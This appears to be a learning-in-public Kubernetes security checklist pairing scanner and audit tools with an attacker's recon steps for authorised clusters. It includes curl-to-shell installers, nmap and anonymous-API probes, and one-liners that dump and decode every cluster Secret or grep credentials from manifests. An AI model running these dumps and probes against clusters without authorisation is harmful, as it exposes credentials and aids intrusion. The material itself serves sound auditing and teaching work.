These are the notes from my Kubernetes learning-in-public series, turned into an attacker's checklist. The mental model I keep: a cluster is just an API, some nodes, and a pile of tokens tying them together. Most of the wins come from a token I shouldn't have, an API I shouldn't reach, or a pod that's too privileged. Lab and authorised clusters only. The deep dives are linked where they exist.
Inside# install (static binary, no daemon needed)
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
# scan a container image for OS + language CVEs
trivy image --severity HIGH,CRITICAL <image>:<tag>
# scan a repo/dir for vulns, misconfigs (IaC) and hardcoded secrets in one pass
trivy fs --scanners vuln,misconfig,secret .
# scan a whole live cluster's workloads
trivy k8s --report summary clusterLook for: A table per target: library, installed vs fixed version, severity and the CVE. --scanners secret flags hardcoded keys, misconfig flags insecure Dockerfile/Helm/K8s settings. Exit code is non-zero when findings exist, so it drops straight into CI.
Gotcha: Trivy reports what is KNOWN broken against its DB on the day you run it, so update the DB and re-run, a clean scan last week is not clean today. It reads the package manifests, so a binary that vendored a vulnerable library statically can still show zero. Great default scanner, but pair it with an SBOM (syft) so you also know what is present, not just what is flagged.
curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
# scan an image directly
grype <image>:<tag> -o table
# or scan an SBOM you already built with syft (faster, repeatable)
grype sbom:./sbom.json --fail-on highLook for: One row per vulnerable package: name, installed version, the fixed-in version, the CVE and severity. --fail-on high sets the CI gate. Feeding it a Syft SBOM means the same inventory is scanned every time, so results are reproducible.
Gotcha: Grype only matches an inventory against a CVE feed, so its answer is only as complete as the SBOM it was given: scan the image and it inventories for you, but a poorly built image (statically linked deps) still hides libraries. Different scanners disagree because their feeds differ, do not treat one tool's zero as ground truth.
# ships with recent Docker Desktop/CLI; or install the plugin
docker scout version || curl -sSfL https://raw.githubusercontent.com/docker/scout-cli/main/install.sh | sh
docker scout cves <image>:<tag> # list known CVEs
docker scout quickview <image>:<tag> # summary + base-image upgrade advice
docker scout recommendations <image>:<tag> # suggested base-image bumpsLook for: A severity-bucketed CVE count and, usefully, base-image recommendations: it tells you which base tag bump clears the most findings, so it is remediation-oriented, not just a list.
Gotcha: Handy because it is right there in the Docker CLI, but it leans on Docker's own data and the richer features expect a Docker Hub login. Fine for a fast triage, not a replacement for a policy-gating scanner in CI. Same caveat as all of them: it reports known CVEs in recorded packages only.
npm install -g snyk && snyk auth
snyk container test <image>:<tag> # image CVEs + base-image fixes
snyk iac test k8s-manifests/ # scan K8s/Helm/Terraform config
snyk container monitor <image>:<tag> # track the image over timeLook for: Findings grouped by severity with an explicit upgrade path (which base image or package version clears them). snyk iac test flags insecure manifest settings (privileged, hostPath, missing limits) with the line to fix.
Gotcha: Snyk is commercial with a free tier and needs an account/token, so it is not always allowed on a client engagement, check first. Its remediation advice is its strength; its coverage and gating live behind the paid plan. As always, an IaC pass on manifests is best practice, not proof of runtime safety.
# run Clair (and clairctl) via the project's compose/quickstart, then:
clairctl report <image>:<tag> # analyse and print a vuln report
# common alternative wrapper against a running Clair:
clair-scanner --ip <host-ip> <image>:<tag>Look for: A layer-by-layer vulnerability report keyed to the image's packages. Clair is built to sit behind a registry (Quay uses it) and scan on push, so it is the always-on registry scanner rather than a laptop one-shot.
Gotcha: Clair is a service, not a single binary: it needs a database and an updater running, which is the price of continuous registry scanning. If you just want to scan one image once, trivy or grype is far less setup. Its coverage is the vulnerability sources it is configured to pull, so keep the updaters healthy or the reports quietly go stale.
# run as a Job so it reads the real control-plane/node files:
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -f job/kube-bench
# on a node directly (binary or container), target the right control set:
kube-bench run --targets master,node,etcd,policies
kube-bench run --benchmark cis-1.8 # pin the benchmark versionLook for: Each CIS control as [PASS], [FAIL], [WARN] or [INFO] with its number (e.g. 1.2.x apiserver, 4.x kubelet), the exact remediation text, and totals per section. FAILs on apiserver flags, etcd perms and kubelet config are the ones that matter.
Gotcha: kube-bench must run WHERE the files are: as a node/host job for the control plane, so on EKS/GKE/AKS you cannot check managed master controls at all (the cloud owns them) and those show as INFO/skip, not pass. Many WARNs are manual-verify, not failures, read them. Run it per node and re-run after upgrades, one clean run is a snapshot, not a posture.
git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security
sudo sh docker-bench-security.sh
# or as a container with the host mounted in:
docker run --rm --net host --pid host --cap-add audit_control \
-v /var/lib:/var/lib:ro -v /var/run/docker.sock:/var/run/docker.sock:ro \
-v /etc:/etc:ro docker/docker-bench-securityLook for: CIS Docker checks as [PASS]/[WARN]/[INFO]/[NOTE] across host config, the docker daemon, daemon files, container images and runtime: things like daemon TLS, userns-remap, containers running as root, --privileged use and missing health checks.
Gotcha: This is the CONTAINER/host side of CIS, the counterpart to kube-bench's cluster side, so run both to cover the node fully. It checks the Docker engine specifically: on a containerd-only or CRI-O node much of it does not apply, and it needs host access (pid/net/mounts) to see the truth. Treat WARNs as a hardening backlog, not automatic fails.
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
kubescape scan # default frameworks, live cluster
kubescape scan framework cis # run the CIS controls specifically
kubescape scan framework nsa,mitre --format html --output report.html
kubescape scan . --format json # scan manifests in CI, not a clusterLook for: A control-by-control risk score with pass/fail counts and the specific resources that failed each control, plus an overall percentage. Running framework cis gives you CIS results without the node-file access kube-bench needs, because it reads the API objects.
Gotcha: kubescape's CIS view is API-object based, so it complements kube-bench (which reads control-plane files) rather than replacing it: use both, they check different layers. A high score is relative to the framework, not proof of safety, and scanning manifests in CI catches issues before they ship but says nothing about drift once running.
# one-off audit of a live cluster from your kubeconfig:
polaris audit --format pretty | less
# or scan manifests before they ship:
polaris audit --audit-path ./manifests --format pretty
# run it in-cluster as a dashboard:
kubectl apply -f https://github.com/FairwindsOps/polaris/releases/latest/download/dashboard.yamlLook for: Per-workload checks grouped as security, reliability and efficiency: missing resource limits, running as root, privilege escalation allowed, no readiness probe, latest tag. Each is scored and explained, and the dashboard shows the cluster trend.
Gotcha: Polaris checks configuration hygiene, not CVEs, so it answers 'is this workload set up sanely' not 'is this image vulnerable', run it alongside a scanner. It can also run as an admission webhook to block bad configs, but start in audit mode or you will reject deployments the team relies on.
go install github.com/Shopify/kubeaudit/cmd/kubeaudit@latest # or grab the release binary
kubeaudit all # audit the live cluster (all checks)
kubeaudit all -f ./manifest.yaml # audit a manifest file
kubeaudit privileged # run a single check
kubeaudit autofix -f manifest.yaml # write back suggested fixesLook for: One line per finding with severity: runAsNonRoot unset, allowPrivilegeEscalation true, privileged containers, missing seccomp/AppArmor, no resource limits, automountServiceAccountToken left on. autofix rewrites the manifest with the safer settings.
Gotcha: kubeaudit checks the securityContext and pod-spec hygiene, the same class of issue Polaris and kubescape flag, so pick one as your primary and do not drown in three reports of the same thing. autofix is convenient but review the diff, it can add fields that change behaviour. Manifest audit catches issues pre-deploy; the live audit catches what actually got applied.
# no install needed, use the hosted API:
kubesec scan deployment.yaml # local binary
cat deployment.yaml | curl -sSX POST --data-binary @- https://v2.kubesec.io/scanLook for: A numeric score plus a list of what raised or lowered it: points off for privileged, hostNetwork, hostPath, running as root, capabilities added; points on for readOnlyRootFilesystem, runAsNonRoot, dropped capabilities and seccomp. It names the exact JSONPath to change.
Gotcha: kubesec scores ONE manifest's securityContext, it is a quick pre-commit gut check, not a cluster audit. A good score means the spec is sane, not that the image is safe or the RBAC is tight. Use it to catch a bad pod spec early, then let kubescape/kube-bench cover the cluster.
curl -sSfL https://raw.githubusercontent.com/stackrox/kube-linter/main/scripts/install.sh | sh
kube-linter lint ./manifests/
kube-linter lint ./mychart/ # works on a Helm chart directory
kube-linter lint --config .kube-linter.yaml .Look for: One line per broken check with the object and the rule name: no-read-only-root-fs, run-as-non-root, privileged-container, no-resource-limits, dangling-service, latest-tag. Exit code is non-zero on findings, so it gates a pull request.
Gotcha: KubeLinter is static: it reads YAML, never the cluster, so it catches issues before deploy but not drift after. Some default checks are opinionated (it will nag about things you accept), so tune the config or you train the team to ignore it. Reliability checks sit next to the security ones, useful, but do not mistake a clean lint for a security pass.
pip install checkov --break-system-packages
checkov -d ./manifests # scan a directory of K8s YAML
checkov -f Dockerfile # scan a Dockerfile
checkov -d . --framework kubernetes,dockerfile,helm
checkov -d . --compact --quiet # CI-friendly outputLook for: PASSED/FAILED per check with a CKV id, the file and line, and a short remediation. It spans the whole IaC stack in one run, so the same tool covers your Dockerfile, your Helm chart and your Terraform, not just K8s manifests.
Gotcha: Checkov's breadth is the point and the risk: it fires a LOT of checks, so triage by severity or you bury the real ones. It is pre-deploy static analysis, blind to runtime and to whatever got applied by hand. Suppress a check inline with a comment when you have accepted the risk, so the record shows a decision, not an oversight.
curl -sSL -o terrascan.tar.gz https://github.com/tenable/terrascan/releases/latest/download/terrascan_$(uname -s)_$(uname -m).tar.gz && tar -xf terrascan.tar.gz terrascan && sudo mv terrascan /usr/local/bin/
terrascan scan -i k8s -d ./manifests # scan Kubernetes YAML
terrascan scan -i helm -d ./chart
terrascan scan -t aws -i terraform -d ./infra # cloud IaC tooLook for: A violations list with severity, the rule, the resource and the line, backed by an OPA/Rego policy pack. Like Checkov it covers K8s plus cloud IaC, so it is an alternative in the same slot rather than an addition.
Gotcha: Terrascan and Checkov overlap heavily, do not run both as gates or you double the noise, pick one. Its policies are Rego, which is powerful if you want custom org rules but a learning curve if you just want defaults. Static only: it validates the code, not the running cluster.
curl https://get.datree.io | /bin/bash
datree test ./manifests/*.yaml
helm datree test ./mychart # via the Helm plugin
kubectl datree test -- -n <ns> # via the kubectl pluginLook for: Per-manifest pass/fail against built-in policies (missing limits, no liveness probe, latest tag, workloads as root) plus schema validation, with a policy dashboard when you connect an account.
Gotcha: Before you standardise on Datree, check its current maintenance status: it moved hands and the hosted side has changed, so confirm it still fits before wiring it into CI. Functionally it sits in the same manifest-policy slot as KubeLinter/kubesec, so only adopt it if the centralised-policy dashboard is what you actually want.
pip install kube-hunter --break-system-packages
kube-hunter --remote <cluster-ip> # external view
kube-hunter --cidr 10.0.0.0/24 # sweep a range
# run it as a pod to get the insider view (what a foothold sees):
kubectl run kube-hunter --image=aquasec/kube-hunter -- --podLook for: A list of open services (kubelet 10250, etcd 2379, API 6443, dashboard) and, per finding, a category and severity: anonymous kubelet, exposed etcd, API access without auth. The --pod run shows what your service account can already reach.
Gotcha: kube-hunter is discovery, not exploitation, it tells you the door is open, not what is behind it, so pair the insider run with can-i and a real request. It is loud (active probing), get authorisation before pointing it at anything you do not own. Aqua has slowed maintenance, so treat it as one input alongside kubescape/kube-bench, not the whole picture.
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin
trufflehog git https://github.com/org/repo --only-verified
trufflehog filesystem ./ --only-verified
trufflehog docker --image <image>:<tag> --only-verifiedLook for: Each hit shows the detector (AWS, GCP, Slack, private key), the file/commit and, with --only-verified, whether the credential was live-tested against its provider. It scans git history, not just the current tree, so a key deleted in a later commit still surfaces.
Gotcha: --only-verified is the point: it cuts false positives by actually testing the secret, but that means outbound calls to providers, do not run verification from a client's network without clearance. It scans history and image layers, so 'we removed it' does not clear it. A verified live key is an incident, rotate first, investigate second.
sudo apt-get install -y gitleaks 2>/dev/null || (curl -sSL -o g.tar.gz https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_$(uname -s)_$(uname -m).tar.gz && tar -xf g.tar.gz gitleaks && sudo mv gitleaks /usr/local/bin/)
gitleaks detect --source . -v # scan history of a repo
gitleaks dir ./manifests -v # scan files (no git)
# as a pre-commit / CI gate, non-zero exit on a hitLook for: One finding per match with the rule, the file, the commit and the offending line (redacted). It is regex/entropy based across full git history, so it catches a token committed and later removed. Non-zero exit makes it a clean CI gate.
Gotcha: gitleaks does not verify hits like trufflehog does, so expect some false positives, tune with a .gitleaks.toml allowlist. It is offline and fast, which makes it the safer choice inside a client's network where outbound verification is not allowed. Scanning current files misses history, use detect (full history) for the real answer.
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
# inventory every package/layer in an image
syft <image>:<tag> -o table
# emit a standard SBOM to feed grype or store as evidence
syft <image>:<tag> -o cyclonedx-json > sbom.json
syft <image>:<tag> -o spdx-json > sbom.spdx.jsonLook for: A full component list: OS packages, language libraries (npm, pip, go, gem, jar), versions and the layer each came from. It is the inventory, not a verdict, no severity, just what is present.
Gotcha: An SBOM is the foundation, not the finding: it says what is there, then grype/trivy say what is broken. Build it once and scan it repeatedly so results are reproducible and auditable. It cannot see something a package manager never recorded, a lib copied in by hand or compiled in still slips past.
kubectl krew install rbac-tool access-matrix # or grab the binaries
kubectl rbac-tool who-can get secrets # who holds this permission
kubectl rbac-tool viz --outformat dot > rbac.dot # graph roles->subjects
kubectl access-matrix --verb '*' --resource secrets # rakkess-style matrixLook for: who-can lists every subject (users, groups, service accounts) that can perform a verb on a resource. The viz builds a graph of bindings so a single over-powered ClusterRole jumps out. access-matrix prints a green/red grid of your own or another subject's rights.
Gotcha: This is the fast way to find the RBAC blast radius: one over-broad ClusterRoleBinding is invisible in a single can-i but obvious in the matrix or graph. Reads bindings as they are, not what a controller might grant next (escalate/bind/impersonate can still widen it). Run it as yourself AND as suspect service accounts with --as to see the real reach.
kubectl krew install who-can # or the aquasecurity/kubectl-who-can release
kubectl who-can create pods
kubectl who-can get secret <name> -n <ns>
kubectl who-can '*' '*' # who is effectively cluster-adminLook for: A short table of the RoleBindings and ClusterRoleBindings, and the subjects they grant, that satisfy the verb/resource you asked about. who-can '*' '*' surfaces the accounts with god-mode.
Gotcha: who-can is the single-question version of rbac-tool: reach for it when you already know the verb you care about (create pods, get secrets, the escalate verbs). It reports the grant, not whether the grant is wise, and it will not chase a token that can mint a bigger token. Non-destructive, so run it freely during recon.
git clone https://github.com/cyberark/KubiScan.git && cd KubiScan && pip install -r requirements.txt --break-system-packages
python3 KubiScan.py -rs # risky subjects (roles+bindings)
python3 KubiScan.py -rp # risky pods (mounting privileged SAs)
python3 KubiScan.py -aa # all risky roles/bindings/pods/SAsLook for: Lists roles and bindings with dangerous verbs (create pods, secrets access, escalate/bind/impersonate, exec), the pods that mount a risky service account, and tokens worth stealing. It is opinionated about what 'risky' means, so it points straight at escalation paths.
Gotcha: KubiScan is attacker-shaped: it does not just list RBAC, it ranks it by how useful it is to an attacker, which is exactly what you want on an engagement. It needs cluster read access to run, and 'risky' is its definition, so confirm each finding maps to a real path before you report it. From CyberArk, so it leans toward credential/token exposure.
docker run -v ~/.kube:/root/.kube:ro karimsonbol/krane report # or npm-based install per docs
krane report -k ~/.kube/config # analyse the live cluster
krane report -f rbac.yaml # analyse exported RBAC offline
krane dashboard # browse roles, bindings and risksLook for: A report of RBAC risks (wildcards, secret access, escalation verbs, unused roles) with a network view of subjects to roles. Because it can read exported RBAC, you can run it offline against a dump and diff two reports to catch drift.
Gotcha: krane and KubiScan overlap, KubiScan is more attacker-first, krane is more posture-and-drift, so choose by what you are doing. Static analysis of RBAC as written, so it will not see a controller granting new rights at runtime. Good for a review baseline you re-run and compare; treat 'unused role' hints as leads, not automatic deletions.
kubectl run ac --rm -it --image=r.j3ss.co/amicontained -- amicontained
# or inside an existing pod that has it / can fetch it:
amicontainedLook for: Container runtime, which namespaces you have (pid/user), the AppArmor profile, the Linux capability bounding set, seccomp mode and the exact list of blocked syscalls. One command tells you how boxed in you are.
Gotcha: amicontained answers 'how confined am I' fast, seccomp disabled plus a fat capability set plus user:false is an escape-worthy pod. It reads your own context only, it does not attack anything, so it is quiet. Running it as a throwaway pod (the kubectl form) needs create-pods; inside an existing foothold you may need to drop the binary, which can be seen.
curl -sSL -o kdigger https://github.com/quarkslab/kdigger/releases/latest/download/kdigger-linux-amd64 && chmod +x kdigger
./kdigger dig all # run every bucket
./kdigger dig token services capabilities mount # pick specific bucketsLook for: A tidy summary of the pod's situation: the mounted SA token and what it can do, reachable services, Linux capabilities, mounts, admission-controller hints and namespace info, all from one command instead of ten manual checks.
Gotcha: kdigger is recon, not exploitation, it is the quick 'where am I and what do I hold' pass, then you act on what it finds. It reads context, so it is fairly quiet compared to Peirates, but running any dropped binary in a pod can trip runtime detection. Convenient, but understand each finding, do not let the summary do your thinking.
# API server, so often on 6443/8443
nmap -p 6443,8443,10250,10255,2379,2375,2376 -sV target
curl -sk https://target:6443/versionLook for: An API server, kubelet (10250), read-only kubelet (10255), etcd (2379) or a Docker daemon (2375/2376) reachable from where you shouldn't be.
Gotcha: 10255 is the unauthenticated read-only kubelet port. If it answers, you get pod specs and often env vars full of secrets with zero auth. It's deprecated but still out there.
curl -sk https://target:6443/api
curl -sk https://target:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews -X POST -d '{...}'Look for: Whether anonymous auth is on (a 200 with data instead of 401/403). An anonymous list on pods or secrets is game over before you even have a token.
Gotcha: --anonymous-auth=true plus a permissive ClusterRoleBinding to system:anonymous is rarer now but catastrophic when present. Always test anonymous first, it costs one request.
kube-hunter --remote target
# or from inside:
kubectl version --short; kubectl get nodes -o wideLook for: Version (for known CVEs), node OS/kernel, CNI, and which managed platform (EKS/GKE/AKS) you're on, which decides the metadata and IAM angle.
Gotcha: The kubelet and kube-proxy versions tell you the patch level. An old kubelet is a CVE shortlist, not just a version string.
kubectl get pods -n kube-system | grep kube-apiserver
kubectl exec kube-apiserver-<node> -n kube-system -- kube-apiserver -h | grep enable-admission-plugins
kubectl get namespace <ns> -o jsonpath='{.metadata.labels}'Look for: Whether PodSecurity is enforcing (baseline/restricted) on the namespace you're about to test in, and which built-ins are on. NamespaceLifecycle and PodSecurity are default-on in any current cluster.
Gotcha: This is the check I skipped for weeks. A tight RBAC Role doesn't mean a locked-down namespace, PodSecurity is a completely separate control and a namespace with no enforce label will wave through a privileged pod that RBAC alone was never asked to judge.
kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations
kubectl get validatingwebhookconfigurations <name> -o yamlLook for: Custom webhooks beyond the built-ins (Kyverno, OPA Gatekeeper, or someone's hand-rolled Flask app), which resources/operations each one actually covers via rules, and its failurePolicy.
Gotcha: A cluster can look locked down on paper and still have real gaps here. If nothing's registered beyond the defaults, whatever custom rule someone assumes is enforced (image provenance, label conventions) almost certainly isn't.
kubectl get ns <ns> --show-labels
kubectl get ns -o jsonpath="{range .items[*]}{.metadata.name}{'\t'}{.metadata.labels['pod-security\.kubernetes\.io/enforce']}{'\n'}{end}"Look for: Whether pod-security.kubernetes.io/enforce is set at all, and which profile. No label means no enforcement, that namespace is wide open regardless of what other namespaces in the same cluster are running.
Gotcha: Enforcement is per namespace, not cluster-wide, on any cluster running PSA instead of the old PSP model. A hardened payroll namespace tells you nothing about dev sitting right next to it with no label at all. Check every namespace you can list, not just the one you were pointed at.
kubectl api-resources | grep podsecuritypolic
kubectl get psp
kubectl auth can-i use podsecuritypolicy/<name> --as=system:serviceaccount:<ns>:<sa>Look for: Whether the cluster predates 1.25 and still runs the old PSP admission controller, in which case PSA's namespace labels do nothing and the real control is which PSP a Pod's Service Account is bound to via RBAC.
Gotcha: A Service Account with no PSP use permission at all isn't 'unrestricted', it's completely blocked from creating Pods. If Pod creation is failing cluster-wide on an old cluster with no useful error, check for a missing PSP RoleBinding before chasing anything else.
kubectl get constrainttemplates
kubectl get constraints
kubectl get constraints -o jsonpath='{range .items[*]}{.kind}{"/"}{.metadata.name}{"\t"}{.spec.enforcementAction}{"\n"}{end}'Look for: Every rule the platform team decided was worth enforcing, and the enforcementAction on each one. Read the match block too: kinds, namespaces and scope are ANDed, so a constraint often covers far less than its name suggests.
Gotcha: The gaps say more than the entries. A cluster with a careful registry constraint and nothing about hostPath has told me where to push. And anything on dryrun or warn is a policy that shows green on a compliance dashboard and blocks precisely nothing.
kubectl get k8srequiredlabels <constraint> -o jsonpath='{.status.totalViolations}{"\n"}'
kubectl get constraints -o json | jq -r '.items[] | "\(.metadata.name)\t\(.status.totalViolations // 0)"'
kubectl get <constraint-kind> <name> -o jsonpath='{range .status.violations[*]}{.kind}{" "}{.namespace}{"/"}{.name}{"\n"}{end}'Look for: status.violations on each constraint. The audit pod re-scans existing objects on a timer and records everything already in breach, so the cluster is quietly keeping an inventory of its own non-compliant workloads.
Gotcha: An admission webhook only ever sees new writes, so everything that existed before the policy landed sails on untouched. That backlog is exactly where I'd look first: it's the set of resources somebody already decided were wrong and never fixed.
kubectl get pods -n gatekeeper-system
kubectl get validatingwebhookconfigurations | grep -i gatekeeper
kubectl get validatingwebhookconfiguration gatekeeper-validating-webhook-configuration -o jsonpath='{range .webhooks[*]}{.name}{"\t"}{.failurePolicy}{"\n"}{end}'Look for: Whether the controller-manager pods are actually running, and the failurePolicy on each webhook. Ignore means the API server carries on admitting when Gatekeeper doesn't answer.
Gotcha: Gatekeeper's main validation webhook ships with a failure policy that lets requests through, and gatekeeper-system is exempt from its own policies by default. Sensible, since a policy engine that can take the API server down with it is its own outage, but it does mean 'Gatekeeper is unhealthy' and 'no policy is being enforced' can be the same thirty seconds.
kubectl get secrets -A
kubectl get secrets -A -o json | jq -r '.items[] | .metadata.namespace + "/" + .metadata.name as $n | .data // {} | to_entries[] | "\($n) \(.key) = \(.value|@base64d)"'
kubectl get secret <name> -o jsonpath='{.data.DB_PASSWORD}' | base64 -dLook for: Database passwords, registry pull credentials, cloud API keys, TLS private keys. kubectl describe deliberately prints byte counts instead of values, so never conclude a Secret is protected from a describe: go straight to -o yaml or -o jsonpath.
Gotcha: base64 is an encoding, not a lock, and there is no key to crack. The only thing standing between an identity and a Secret's contents is RBAC. If kubectl auth can-i list secrets -A comes back yes, the cluster's whole credential set is one pipe away.
kubectl get pods -A -o yaml | grep -iE 'password|passwd|token|api[_-]?key' | head -40
kubectl get configmaps -A -o yaml | grep -iE 'password|secret|token|key' | head -40
kubectl get deploy,sts,cronjob -A -o yaml | grep -iE 'value: .*(password|token|key)'Look for: Plain env: [{name: API_KEY, value: ...}] entries in a Deployment, and credentials sitting in ConfigMaps. Both are readable by anyone with plain read access on those resource types, and both end up in git.
Gotcha: This keeps paying. Teams go to the effort of creating a Secret for the database, then drop the third-party API key straight into the pod spec as a literal value. A ConfigMap is worse again: it gets none of the separate RBAC treatment a Secret gets, so 'can read config' quietly becomes 'can read credentials'.
kubectl get runtimeclass
kubectl get pods -A -o custom-columns=NS:.metadata.namespace,POD:.metadata.name,RC:.spec.runtimeClassName
kubectl get pods -A -o jsonpath='{range .items[?(@.spec.runtimeClassName)]}{.metadata.namespace}{"/"}{.metadata.name}{" -> "}{.spec.runtimeClassName}{"\n"}{end}'Look for: Which RuntimeClasses exist (gvisor/runsc, kata) and which pods actually set runtimeClassName. Very often a sandbox runtime is installed and used by exactly one namespace, and not the one running untrusted code.
Gotcha: The gap is the finding. A cluster that runs customer code, CI builds or anything user-supplied on the DEFAULT runtime has a shared host kernel between that untrusted workload and every other pod on the node. RuntimeClass being present but unused is a common 'we bought the control and never wired it up' situation worth flagging.
curl -k https://target:8443/ # answers with no client cert? not enforcing mTLS
curl -k --cert client.crt --key client.key https://target:8443/
openssl s_client -connect target:8443 </dev/null 2>/dev/null | grep -iE 'verify|CN|Acceptable client cert'Look for: Whether the server actually demands a client certificate or merely serves TLS. s_client prints an 'Acceptable client certificate CA names' section when the server is asking for one, which also tells you exactly which CA it trusts for clients.
Gotcha: 'We use mTLS' and 'we require mTLS' are different sentences. A server can support client certs and still happily answer a plaintext-authenticated client, so the presence of TLS proves nothing about mutual auth. Always test the negative case: does a request with NO client cert still get a response?
kubectl get peerauthentication -A -o yaml | grep -iE 'name:|mode:'
kubectl get destinationrule -A -o yaml | grep -iE 'name:|tls:|mode:'
istioctl x describe pod <pod> 2>/dev/null | grep -i mtlsLook for: Istio PeerAuthentication in PERMISSIVE mode instead of STRICT. Permissive accepts both mTLS and plaintext, so the mesh-wide encryption shown on the dashboard is optional in practice.
Gotcha: Permissive mode is a migration aid that quietly becomes permanent. Left on, a workload inside the mesh can speak plaintext to a service that looks fully locked down, so the mTLS is real but not mandatory. STRICT is the only mode that actually refuses unauthenticated peers. The gap between permissive and strict is exactly where I'd push.
kubectl get networkpolicy -A # none in a tenant ns = every pod reaches every pod
kubectl get resourcequota,limitrange -A # none = one tenant can starve the rest
kubectl get clusterrolebindings -o wide | grep -v '^system:\|:system:'
kubectl get pods -A -o custom-columns=NS:.metadata.namespace,POD:.metadata.name,RC:.spec.runtimeClassNameLook for: The four isolation controls that a namespace does NOT give you for free: NetworkPolicy, ResourceQuota/LimitRange, tenant-scoped RBAC (not cluster-wide), and a sandbox runtime for untrusted code. Any missing one is a gap shaped exactly like it.
Gotcha: A namespace is an organisational boundary, not a security one. A cluster sold internally as 'multi-tenant' with zero NetworkPolicy means the tenancy is fiction: every pod can open a socket to every other pod across namespaces. And a SaaS platform running customer code with an empty runtimeClassName column is doing hard multi-tenancy's job with soft multi-tenancy's tools, on a shared kernel.
kubectl get nodes -o custom-columns=NODE:.metadata.name,TAINTS:.spec.taints
kubectl get pods -A -o custom-columns=NS:.metadata.namespace,POD:.metadata.name,NODE:.spec.nodeName
kubectl get pod <p> -n <ns> -o jsonpath='{.spec.tolerations}{"\n"}{.spec.nodeSelector}{"\n"}'Look for: Nodes carrying a per-tenant taint, and whether that tenant's pods carry BOTH a matching toleration and a nodeSelector/affinity binding them to those nodes. Then confirm against the real .spec.nodeName each pod landed on.
Gotcha: A toleration only PERMITS a pod onto a tainted node, it never forces it there. Taint-without-nodeSelector is close to the default outcome of following the docs, so a 'dedicated' customer's pods routinely scatter onto shared nodes while everyone assumes they're isolated. If get pods -o wide shows a supposedly-pinned tenant spread across general nodes, the node isolation is decorative, and a container escape from a neighbour reaches them.
kubectl auth can-i get pvc -n <other-tenant-ns> --as=system:serviceaccount:<my-ns>:default
kubectl get storageclass -o custom-columns=NAME:.metadata.name,RECLAIM:.reclaimPolicy,BINDING:.volumeBindingMode
kubectl get pv -o custom-columns=PV:.metadata.name,CLAIM:.spec.claimRef.namespace,RECLAIM:.spec.persistentVolumeReclaimPolicy,STATUS:.status.phaseLook for: Whether one tenant can read another's PersistentVolumeClaims (a too-broad ClusterRole on pvc is the usual cause), and StorageClasses set to reclaimPolicy: Retain. Retained PVs in a Released state still hold the previous tenant's data.
Gotcha: PVCs are namespaced, so RBAC is the real storage wall, one cluster-wide 'get pvc' grant undoes it. And reclaimPolicy: Retain means a departed tenant's disk lingers with their data on it, re-bindable by accident; look for PVs stuck in Released that were never wiped. Storage isolation is the layer people skip entirely, so it's often the softest.
kubectl get pods -A -o custom-columns=NS:.metadata.namespace,POD:.metadata.name,QOS:.status.qosClass | grep BestEffort
kubectl get --raw /metrics | grep apiserver_flowcontrol_rejected_requests_total
kubectl get limitrange -A # is anything forcing defaults onto naked pods?Look for: Pods in QoS class BestEffort (no requests/limits set) on shared nodes, and any non-zero APF rejected-requests count. QoS is DERIVED from requests==limits (Guaranteed), requests<limits (Burstable) or nothing (BestEffort), not declared.
Gotcha: A pod with no resources block hasn't opted out of resource management, it's opted into being killed FIRST on any node memory pressure. On a busy multi-tenant node that's the eviction order, not a hypothetical. A namespace with BestEffort pods and no LimitRange to drag them into Burstable is a stability finding waiting for the first memory spike, and it looks completely healthy until then.
# build the package inventory straight from a registry image
syft <image>:<tag> -o cyclonedx-json > sbom.json
# then match that inventory against known CVEs
grype sbom:sbom.json
# quick surface count without an SBOM
trivy image <image>:<tag>Look for: How much the image is actually carrying. A fat Debian/Ubuntu base lights up with distro-package findings; a distroless or Alpine image shows almost nothing. The finding's layer-index tells you whether a flaw is in the app or in an inherited base layer.
Gotcha: A scanner reporting zero findings means nothing known is broken in the packages that remain, checked against one DB on one day. It is not 'no risk', and it says nothing about the app's own bundled dependencies inside the binary. Read layer-index, not just the total.
kube-linter lint ./manifests
# zero in on the findings that matter for a foothold
kube-linter lint ./manifests 2>&1 | grep -E 'run-as-non-root|no-read-only-root-fs|privileged'Look for: Containers with no securityContext, run-as-root not set, a writable root filesystem, or privileged set. Each is a shorter walk from a pod to the node. KubeLinter reads files, so you can run it against a cloned GitOps repo without ever touching the cluster.
Gotcha: A clean KubeLinter report is not a clean cluster. It can't see the image contents, the RBAC around the pod, or a writable hostPath mount that no default rule covers. Use it to decide where to look first, never as proof anything is safe. run-as-non-root being unset is the difference between an escape being hard and being trivial.
kubectl get validatingwebhookconfigurations -o custom-columns=NAME:.metadata.name,SVC:.webhooks[*].clientConfig.service.name
# is the built-in plugin even on?
kube-apiserver -h 2>/dev/null | grep -i admission # or read the static pod manifest
# try to run an image from an untrusted registry and see if it's rejected
kubectl run t --image=some-registry.io/nginx --restart=Never --dry-run=serverLook for: Whether any admission webhook or the ImagePolicyWebhook plugin is enforcing a registry allowlist. If the server-side dry-run creates the pod, nothing is stopping images from arbitrary registries, which is the default.
Gotcha: The built-in ImagePolicyWebhook honours defaultAllow. If it's set to true, the moment the policy server is unreachable every image is admitted and nothing logs a denial, so a control that looks present can be silently failing open. A single-container-only webhook is another gap: it may check containers[0] and ignore the rest and initContainers.
kubectl get daemonset -A | grep -i 'falco\|tetragon\|tracee'
kubectl get pods -A -o wide | grep -i falco
# from a node shell, if you have one:
systemctl status falco; systemctl list-unit-files 'falco*'
# Tetragon can ENFORCE, not just watch: look for enforcement policies (a CRD)
kubectl get tracingpolicies,tracingpoliciesnamespaced -A 2>/dev/null # any with a Sigkill action = active blocking
